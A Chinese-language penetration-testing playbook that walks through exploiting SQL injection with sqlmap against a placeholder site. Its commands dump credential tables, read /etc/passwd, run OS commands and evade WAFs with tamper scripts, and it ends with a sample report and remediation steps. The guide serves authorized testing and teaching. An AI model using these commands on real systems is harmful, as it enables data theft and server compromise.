| name | exploiting-sql-injection-with-sqlmap |
| description | 在授权渗透测试中使用 sqlmap 检测并利用 SQL 注入漏洞以提取数据库内容。 |
| domain | cybersecurity |
| subdomain | web-application-security |
| tags | ["penetration-testing","sql-injection","sqlmap","owasp","database-security","web-security"] |
| version | 1.0 |
| author | mahipal |
| license | Apache-2.0 |
使用 sqlmap 利用 SQL 注入漏洞(Exploiting SQL Injection with sqlmap)
适用场景
- 在授权的 Web 应用程序渗透测试任务中
- 当手动测试发现参数、请求头或 Cookie 中存在潜在 SQL 注入点时
- 用于验证 Burp Suite 或 OWASP ZAP 等自动扫描器发现的 SQL 注入问题时
- 需要通过从后端数据库提取数据来证明 SQL 注入影响时
- 在涉及 SQL 注入利用的 CTF 挑战中
前置条件
- 授权:针对目标的书面渗透测试协议(交战规则)
- sqlmap:通过
pip install sqlmap 或在 Kali Linux 上 apt install sqlmap 安装
- Python 3.6+:sqlmap 所需的运行时
- Burp Suite(可选):用于捕获和重放 HTTP 请求
- 目标访问权限:与目标 Web 应用程序的网络连接
- 带代理的浏览器:使用 FoxyProxy 的 Firefox,用于拦截请求
工作流程
步骤 1:识别潜在注入点
手动浏览应用程序,识别与数据库交互的参数。使用 Burp Suite 捕获请求。
curl -k "https://target.example.com/products?id=1'"
步骤 2:运行 sqlmap 基础检测扫描
针对疑似注入点启动 sqlmap,确认漏洞并识别数据库类型。
sqlmap -u "https://target.example.com/products?id=1" --batch --random-agent
sqlmap -r request.txt --batch --random-agent
sqlmap -u "https://target.example.com/login" \
--data="username=admin&password=test" \
-p "username" --batch --random-agent
sqlmap -u "https://target.example.com/dashboard" \
--cookie="session=abc123; user_id=5" \
-p "user_id" --batch --random-agent
步骤 3:枚举数据库结构
确认注入后,枚举数据库、数据表和列。
sqlmap -u "https://target.example.com/products?id=1" --dbs --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db --tables --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --columns --batch --random-agent
步骤 4:从目标表中提取数据
导出敏感表的内容以证明影响。
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password,email" \
--dump --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump --start=1 --stop=10 \
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users -C "username,password" \
--dump --batch --passwords --random-agent
步骤 5:测试高级利用向量
通过测试操作系统级别访问和文件操作评估完整影响。
sqlmap -u "https://target.example.com/products?id=1" \
--current-user --current-db --is-dba --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
--file-read="/etc/passwd" --batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
--os-cmd="whoami" --batch --random-agent
步骤 6:使用 Tamper 脚本绕过 WAF/过滤器
当 WAF(Web 应用程序防火墙)或输入过滤器拦截基本载荷时,使用 Tamper 脚本。
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="space2comment,between,randomcase" \
--batch --random-agent
sqlmap -u "https://target.example.com/products?id=1" \
--tamper="modsecurityversioned,modsecurityzeroversioned" \
--batch --random-agent
sqlmap --list-tampers
步骤 7:生成报告并清理
记录发现结果并清理所有产生的文件。
ls -la ~/.local/share/sqlmap/output/target.example.com/
sqlmap -u "https://target.example.com/products?id=1" \
-D target_db -T users --dump \
--output-dir="/tmp/pentest-results" \
--batch --random-agent
sqlmap --purge
核心概念
| 概念 | 定义 |
|---|
| 联合查询 SQLi(Union-based SQLi) | 使用 UNION SELECT 将攻击者的查询结果附加到原始查询输出中 |
| 布尔盲注(Blind Boolean SQLi) | 通过观察应用程序的真/假响应,每次推断一位数据 |
| 时间盲注(Blind Time-based SQLi) | 使用数据库睡眠函数(如 SLEEP(5))基于响应延迟推断数据 |
| 报错注入(Error-based SQLi) | 通过 HTTP 响应中返回的详细数据库错误消息提取数据 |
| 堆叠查询(Stacked Queries) | 通过分号分隔多条 SQL 语句,执行 INSERT/UPDATE/DELETE 操作 |
| 带外注入(Out-of-band SQLi) | 通过数据库服务器发起的 DNS 或 HTTP 请求外泄数据 |
| Tamper 脚本(Tamper Scripts) | sqlmap 插件,用于修改载荷以绕过 WAF 和输入清理过滤器 |
| 二阶注入(Second-order SQLi) | 注入的载荷被存储,稍后在不同查询上下文中执行 |
工具与系统
| 工具 | 用途 |
|---|
| sqlmap | 自动化 SQL 注入检测与利用框架 |
| Burp Suite Professional | 用于拦截、修改和重放请求的 HTTP 代理 |
| OWASP ZAP | Burp 的免费替代品,用于 Web 应用扫描和代理 |
| Havij | 带 GUI 的自动化 SQL 注入工具(Windows) |
| jSQL Injection | 基于 Java 的 SQL 注入测试 GUI 工具 |
| DBeaver/DataGrip | 用于验证提取数据结构的数据库客户端 |
常见场景
场景 1:电商商品页面 SQLi
商品详情页直接在 SQL 查询中使用 id 参数。使用 sqlmap 提取完整的客户数据库(包含支付信息)以证明严重的业务影响。
场景 2:登录表单绕过
登录表单将用户输入拼接到认证查询中。利用漏洞绕过认证并枚举数据库中存储的所有用户凭证。
场景 3:带 WAF 保护的搜索功能
搜索功能存在 SQL 注入漏洞,但受 WAF 保护。使用 space2comment 和 between 等 Tamper 脚本对载荷进行编码并绕过过滤规则。
场景 4:基于 Cookie 的盲 SQL 注入
Cookie 值在服务器端被用于数据库查询。使用基于时间的盲注技术逐字符提取数据。
输出格式
## SQL 注入发现报告
**漏洞**:SQL 注入(联合查询型)
**严重性**:严重(CVSS 9.8)
**位置**:/products?id=1 处的 GET 参数 `id`
**数据库**:MySQL 8.0.32
**影响**:完整数据库读取权限,15,000 条用户记录已暴露
**OWASP 类别**:A03:2021 - 注入
### 证据
- 注入点:`id` 参数(GET)
- 技术:联合查询型
- 后端 DBMS:MySQL >= 5.0
- 当前用户:app_user@localhost
- DBA 权限:否
### 已枚举的数据库
1. information_schema
2. target_app_db
3. mysql
### 已暴露的敏感数据
- 数据表:users(15,247 行)
- 列:id、username、email、password_hash、created_at
### 修复建议
1. 对所有数据库交互使用参数化查询(预编译语句)
2. 对预期数据类型实施基于白名单的输入验证
3. 为应用程序用户应用最小权限数据库权限
4. 部署 WAF 作为纵深防御
5. 启用数据库查询日志记录和异常模式监控